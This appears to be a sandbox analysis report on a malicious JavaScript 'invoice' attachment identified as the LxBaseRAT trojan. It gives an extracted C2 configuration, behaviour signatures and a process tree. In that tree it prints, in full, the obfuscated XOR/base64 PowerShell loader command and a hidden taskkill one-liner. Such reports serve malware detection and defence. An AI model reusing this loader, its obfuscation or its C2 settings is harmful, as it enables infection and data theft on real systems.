Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/08/2026, 02:31

General

  • Target
    Scan Copy of INVOICE.js
  • Size 83KB
  • Sample260804-cz6e5abf39
  • SHA256 8c66f4c0b0b3c733363c1a4fa7c1f13a116ea1d7aa21f0809118625f62ed32cd
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • lxbaserat

Version
  • 1.0.22

Botnet
  • Group1

Campaign
  • a960186a4f0446948e640c091cf27a4d

C2
  • lxxlxxnew.noip.at:4055

Attributes
  • directory

    WindowsTelemetry\Logs

  • executable

    client.exe

  • password

    JhJvrFokWE5J7XGvy01o

Signatures

  • Family: LxBaseRAT

    LxBaseRAT is a .NET remote access trojan with stealer capabilities.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Kills process with taskkill 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Scan Copy of INVOICE.js"
    1⤵
      PID:4224
    • C:\Windows\system32\cmd.exe
      cmd /c %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe "$j=65-53;$lQyLFW='q4z51uTcYttX';$oJOZYDq='d69483ebfaad8ae4a0b2bb97abbefdccfebc91a797adfec1d6948bd1feabd09a96aca89bb8fb80f0f2b18a8492b0bf95beec8da5a18c9baa86acb786a2cea2f0efb09da69ffee3d280d0b5ebb58c9baa86acb786a2cea2f0efb09da69f8aa782bec3eaa5cfb38df8c1d3d4d6b9a8e4a2bcbba68783bcb391bccbe3f3e1bbb99f8791a7b0eafde2f3ee85878ba7bb86bcebc487afee8a939f9ebc99a4b1fa97f3edbd94ba94bd96a4b2fc97f3f196b987808786bca1d796ddf486a9fcc3bcecc393c788cdf7bacd8bc287b38aabc7a9dde1bbb98fc3bf89bfbccf88d1e185a9f89abc9699bcca97a6f385bb8f89bdeca4afc7bde7ae94b983c6ba99a4b9c683ddf594a6bdb1bdedbcb7fc87d5e8baad8b9c8e8bb4a1fde2c9ef8693b1c692b596b7fa95c9af85a987c2ba999eaec4e0d9e1bccc9f8787b38aeed593f4ac96b9a59e959995bcd784aeeebba9b180958686e2d798d5f7bbb69f8abcb7b099fd98dddebdccf89bbf89c6aecfe3c9e2bc939f86ba9ba0adfc87d9ebbd97fcbebcecb4b0d597fceb90cdf8caf9d3f89afab4b2cfa68eacd3f38a8babfb94fafdb690a087b7b19cfbb68bcbfea78ae7b6b0bd9dbff7bef8c6e5c49ca798e6dc9cfba4ccefad97a794f685b1b4f0a6fae9aba3f3c998ac9db6dcb1ecfee9ca9a87acb79cbcb6f4fdadebd7e0dad3d494aef0b3ebf2b090e997f6fa9ef2e5f4e8a6919bbede91bc98befda4bfd5ba8ae7a4bbbcb1b7f7b5f1efe4d68e96aaf3a0baf0b4f0f6ffdaa5d3f39d9daef0a4bfbfb3d08a9cabb086f2e2f5e4efad87b281bbaa87a9f0f0bbecf1baa684b0b29dbafa94feefbed6edacf7a391baeab3f7e0a283b4fed4b887b5fda4f6f4b1dea0dbfabfdeffeafcbbf6f3dab9ce9ef6dbf2e5f4e6a684aea192b0aa9db6d9b1ebfe82c4f3bfb1bf969aeda3faf6bd92b0dbfabfdbe0ba82a2bfa6d08e96aa8a8babfba3b7b2a3c1b2d781f0b4aef2bcd1fab29be9debbafd2ffeaada4bfb1c3eda1f09997afd3b5ebf3b09ae1d7b3f2da';$xbn9HE='fzNKBghFYkJlTk8jZghBBA1OZnBgQEZ+eUZ/FQZMaFUgb05jdBRNDA1DLWV4QFVkR01mDhdUYFhvRAYkDVoLD1lJZx4tBU8jbRJ8FAVUaFUlWnpMRxVGFgVUbkRRGxtOVgROFAFpb0V4QE9uQUkLMk1dOhJiD2hjUg5EBUwEbhooUQhwKWsiakBLPHYkCQZlUBUIQE8AJkY2Dg48HVMBUlEVLwc1FA88EVkACQlHLgciS1FqA0gDSENIdUJ8Gw4iFVgdTlYVNBg9GBQjFVQfTw1NZhk9D0t9Q0YGTEwHaUJ4URsiC1MfWUoVNRg9ERIjFVIfTw1NZhk9D0t9Q0YGSWkqaFAkCQVqGQUPRA8JLFdiRQkpUFx0NAFYdRhJT0JiQAhBBzkaO2NYZxkjYwRbMxBSaFhrCQVqDUgCDQVUYl4rHR1ecCAIQE8AJmRYHx8lCksQSVgcRHgrAQotAyURXkMJejsGAQEpQwZJQFkAJkJ0VQ9oQQVNAwYXNQE/GUcgFVkWWUkTMAI4DBU5QAICA1YWYAA+FkciVwVODwhQdBlhTkIjVg5bARZFb1NrTVN4QQZODQ0Ob1JvDg43VwZcBg9HZ15qUkd+QEYPW0QEZlFqARwtAAZIBkpzdFR/VVNkSgYHUEgAJVFrRw9BQQ9IFAwALBY9EwgALkVDQFkAJgUrARoALkVCGVkHbE98U05qVgBCTixPJhYnAQZgQQRcR18tCxYsAQFkBEl0IwtOd1N+VXw3HiddDwliYEVpFxVeUBNGDgMIJXttVUJlQRJ0UTkJKBYoTFgtAxNaDhdTJhZMCQVqQwcDQEBMLRYrbFJ9RyRBB0MMIRFNUVFBRRRBAwwHLRYrEQYtCEEIGFIUJh8BKwEtBEFoBRANUURjQkR+Vx1cDxZUIXVcdAEgQARcAxhTZFppQlUtCQdGEhdUIQNwR1UtagBCBUhjUWMsXCwHKWsPQEQAIRYsAQEt';$kmSbx8=0xD132-0x2147;$t5krJysa8=@();foreach($c in [char[]]$lQyLFW){$t5krJysa8+=[byte]($c-bxor0xAA)};$vWftq5b1A=$t5krJysa8;$t5krJysa8=@();foreach($c in [char[]]$lQyLFW){$t5krJysa8+=[byte]($c-bxor0x55)};$fT3Dke=$t5krJysa8;$t5krJysa8oldR='';$i=0;for($j=0;$j-lt$oJOZYDq.Length;$j+=2){$t5krJysa8oldR+=[char](([Convert]::ToInt32($oJOZYDq.Substring($j,2),16))-bxor$vWftq5b1A[$i++%$vWftq5b1A.Length])};$z8yycO2zJ=$t5krJysa8oldR;$t5krJysa8oldB=[Convert]::FromBase64String([regex]::Replace($xbn9HE, '$t5krJysa8', ''));$t5krJysa8oldR='';$i=0;for($j=0;$j-lt$t5krJysa8oldB.Length;$j++){$t5krJysa8oldR+=[char]($t5krJysa8oldB[$j]-bxor$fT3Dke[$i++%$fT3Dke.Length])};$lrI20dCl=$t5krJysa8oldR;$pRpKgye=$z8yycO2zJ+$lrI20dCl;.($env:ComSpec[4,26,25]-join'') $pRpKgye"; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\Scan Copy of INVOICE.js' -Destination 'C:\ProgramData\MspcEng.js' -Force"
      1⤵
      • Process spawned unexpected child process
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3820
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "$j=65-53;$lQyLFW='q4z51uTcYttX';$oJOZYDq='d69483ebfaad8ae4a0b2bb97abbefdccfebc91a797adfec1d6948bd1feabd09a96aca89bb8fb80f0f2b18a8492b0bf95beec8da5a18c9baa86acb786a2cea2f0efb09da69ffee3d280d0b5ebb58c9baa86acb786a2cea2f0efb09da69f8aa782bec3eaa5cfb38df8c1d3d4d6b9a8e4a2bcbba68783bcb391bccbe3f3e1bbb99f8791a7b0eafde2f3ee85878ba7bb86bcebc487afee8a939f9ebc99a4b1fa97f3edbd94ba94bd96a4b2fc97f3f196b987808786bca1d796ddf486a9fcc3bcecc393c788cdf7bacd8bc287b38aabc7a9dde1bbb98fc3bf89bfbccf88d1e185a9f89abc9699bcca97a6f385bb8f89bdeca4afc7bde7ae94b983c6ba99a4b9c683ddf594a6bdb1bdedbcb7fc87d5e8baad8b9c8e8bb4a1fde2c9ef8693b1c692b596b7fa95c9af85a987c2ba999eaec4e0d9e1bccc9f8787b38aeed593f4ac96b9a59e959995bcd784aeeebba9b180958686e2d798d5f7bbb69f8abcb7b099fd98dddebdccf89bbf89c6aecfe3c9e2bc939f86ba9ba0adfc87d9ebbd97fcbebcecb4b0d597fceb90cdf8caf9d3f89afab4b2cfa68eacd3f38a8babfb94fafdb690a087b7b19cfbb68bcbfea78ae7b6b0bd9dbff7bef8c6e5c49ca798e6dc9cfba4ccefad97a794f685b1b4f0a6fae9aba3f3c998ac9db6dcb1ecfee9ca9a87acb79cbcb6f4fdadebd7e0dad3d494aef0b3ebf2b090e997f6fa9ef2e5f4e8a6919bbede91bc98befda4bfd5ba8ae7a4bbbcb1b7f7b5f1efe4d68e96aaf3a0baf0b4f0f6ffdaa5d3f39d9daef0a4bfbfb3d08a9cabb086f2e2f5e4efad87b281bbaa87a9f0f0bbecf1baa684b0b29dbafa94feefbed6edacf7a391baeab3f7e0a283b4fed4b887b5fda4f6f4b1dea0dbfabfdeffeafcbbf6f3dab9ce9ef6dbf2e5f4e6a684aea192b0aa9db6d9b1ebfe82c4f3bfb1bf969aeda3faf6bd92b0dbfabfdbe0ba82a2bfa6d08e96aa8a8babfba3b7b2a3c1b2d781f0b4aef2bcd1fab29be9debbafd2ffeaada4bfb1c3eda1f09997afd3b5ebf3b09ae1d7b3f2da';$xbn9HE='fzNKBghFYkJlTk8jZghBBA1OZnBgQEZ+eUZ/FQZMaFUgb05jdBRNDA1DLWV4QFVkR01mDhdUYFhvRAYkDVoLD1lJZx4tBU8jbRJ8FAVUaFUlWnpMRxVGFgVUbkRRGxtOVgROFAFpb0V4QE9uQUkLMk1dOhJiD2hjUg5EBUwEbhooUQhwKWsiakBLPHYkCQZlUBUIQE8AJkY2Dg48HVMBUlEVLwc1FA88EVkACQlHLgciS1FqA0gDSENIdUJ8Gw4iFVgdTlYVNBg9GBQjFVQfTw1NZhk9D0t9Q0YGTEwHaUJ4URsiC1MfWUoVNRg9ERIjFVIfTw1NZhk9D0t9Q0YGSWkqaFAkCQVqGQUPRA8JLFdiRQkpUFx0NAFYdRhJT0JiQAhBBzkaO2NYZxkjYwRbMxBSaFhrCQVqDUgCDQVUYl4rHR1ecCAIQE8AJmRYHx8lCksQSVgcRHgrAQotAyURXkMJejsGAQEpQwZJQFkAJkJ0VQ9oQQVNAwYXNQE/GUcgFVkWWUkTMAI4DBU5QAICA1YWYAA+FkciVwVODwhQdBlhTkIjVg5bARZFb1NrTVN4QQZODQ0Ob1JvDg43VwZcBg9HZ15qUkd+QEYPW0QEZlFqARwtAAZIBkpzdFR/VVNkSgYHUEgAJVFrRw9BQQ9IFAwALBY9EwgALkVDQFkAJgUrARoALkVCGVkHbE98U05qVgBCTixPJhYnAQZgQQRcR18tCxYsAQFkBEl0IwtOd1N+VXw3HiddDwliYEVpFxVeUBNGDgMIJXttVUJlQRJ0UTkJKBYoTFgtAxNaDhdTJhZMCQVqQwcDQEBMLRYrbFJ9RyRBB0MMIRFNUVFBRRRBAwwHLRYrEQYtCEEIGFIUJh8BKwEtBEFoBRANUURjQkR+Vx1cDxZUIXVcdAEgQARcAxhTZFppQlUtCQdGEhdUIQNwR1UtagBCBUhjUWMsXCwHKWsPQEQAIRYsAQEt';$kmSbx8=0xD132-0x2147;$t5krJysa8=@();foreach($c in [char[]]$lQyLFW){$t5krJysa8+=[byte]($c-bxor0xAA)};$vWftq5b1A=$t5krJysa8;$t5krJysa8=@();foreach($c in [char[]]$lQyLFW){$t5krJysa8+=[byte]($c-bxor0x55)};$fT3Dke=$t5krJysa8;$t5krJysa8oldR='';$i=0;for($j=0;$j-lt$oJOZYDq.Length;$j+=2){$t5krJysa8oldR+=[char](([Convert]::ToInt32($oJOZYDq.Substring($j,2),16))-bxor$vWftq5b1A[$i++%$vWftq5b1A.Length])};$z8yycO2zJ=$t5krJysa8oldR;$t5krJysa8oldB=[Convert]::FromBase64String([regex]::Replace($xbn9HE, '$t5krJysa8', ''));$t5krJysa8oldR='';$i=0;for($j=0;$j-lt$t5krJysa8oldB.Length;$j++){$t5krJysa8oldR+=[char]($t5krJysa8oldB[$j]-bxor$fT3Dke[$i++%$fT3Dke.Length])};$lrI20dCl=$t5krJysa8oldR;$pRpKgye=$z8yycO2zJ+$lrI20dCl;.($env:ComSpec[4,26,25]-join'') $pRpKgye"; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\Scan Copy of INVOICE.js' -Destination 'C:\ProgramData\MspcEng.js' -Force"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1064
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\03zzuq1l\03zzuq1l.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3544
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF9CC.tmp" "c:\Users\Admin\AppData\Local\Temp\03zzuq1l\CSCA1CB44F765F1433E9A75934017B52CB.TMP"
            4⤵
              PID:1644
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3252
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
              4⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2752
              • C:\Windows\system32\taskkill.exe
                taskkill /IM RegAsm.exe /F
                5⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4176
              • C:\Windows\system32\taskkill.exe
                taskkill /IM Vbc.exe /F
                5⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1792
              • C:\Windows\system32\taskkill.exe
                taskkill /IM MsBuild.exe /F
                5⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2220
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
            3⤵
            • Accesses Microsoft Outlook profiles
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            • outlook_office_path
            PID:3860
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe"
              4⤵
              • Loads dropped DLL
              PID:1936
      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
        1⤵
          PID:972
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:3368

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
                • MD5 SHA1 SHA512 TLSH

                msasn1.dll

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\msasn1.dll
                • Size 119KB
                • SHA256 fe8289239a81f3e1bc881e4f622e11c8e67b1d90c4a54d07a55e00a1950939d8
                • MD5 SHA1 SHA512 SSDEEP TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 a4839099fa25ebff3b8dba8168077834874916d8e11ec3edcbcd4afe774368ea
                • MD5 SHA1 SHA512 TLSH

                03zzuq1l.dll

                • Path C:\Users\Admin\AppData\Local\Temp\03zzuq1l\03zzuq1l.dll
                • Size 3KB
                • SHA256 cb1e97922fcc96f3cebf775cabdff2be6f4e8af37931538bf9d66fbcdba8ab4b
                • MD5 SHA1 SHA512 TLSH

                RESF9CC.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\RESF9CC.tmp
                • Size 1KB
                • SHA256 fb27e2a23c464cfdae8794c59f20dc9a8f054dd98c495e0b3a30ccf35258b06e
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_ps0jcq2s.d0g.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ps0jcq2s.d0g.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                03zzuq1l.0.cs

                • Path \??\c:\Users\Admin\AppData\Local\Temp\03zzuq1l\03zzuq1l.0.cs
                • Size 213B
                • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
                • MD5 SHA1 SHA512 TLSH

                03zzuq1l.cmdline

                • Path \??\c:\Users\Admin\AppData\Local\Temp\03zzuq1l\03zzuq1l.cmdline
                • Size 369B
                • SHA256 d985c42ba5e29c505abb63612e4ab3e3d3f966939f3929d21c5f65ec931ebacb
                • MD5 SHA1 SHA512 TLSH

                CSCA1CB44F765F1433E9A75934017B52CB.TMP

                • Path \??\c:\Users\Admin\AppData\Local\Temp\03zzuq1l\CSCA1CB44F765F1433E9A75934017B52CB.TMP
                • Size 652B
                • SHA256 17c523eb058eab1f5623f5711df8f0a9635b06226c71ed3da02109bdd2115d47
                • MD5 SHA1 SHA512 TLSH

                memory/1064-1-0x000001D189400000-0x000001D189410000-memory.dmp

                memory/1064-0-0x000001D189400000-0x000001D189410000-memory.dmp

                memory/1064-23-0x000001D1A2420000-0x000001D1A2428000-memory.dmp

                memory/1064-24-0x000001D189400000-0x000001D189410000-memory.dmp

                memory/1064-25-0x000001D189400000-0x000001D189410000-memory.dmp

                memory/1064-26-0x000001D1892D0000-0x000001D1892EA000-memory.dmp

                memory/1064-10-0x000001D189400000-0x000001D189410000-memory.dmp

                memory/1064-7-0x000001D1A22D0000-0x000001D1A22F2000-memory.dmp

                memory/3860-36-0x0000000000400000-0x000000000047C000-memory.dmp

                memory/3860-47-0x0000026976570000-0x0000026976732000-memory.dmp

                memory/3860-48-0x0000026976C70000-0x0000026977198000-memory.dmp

                memory/3860-46-0x0000026975720000-0x0000026975770000-memory.dmp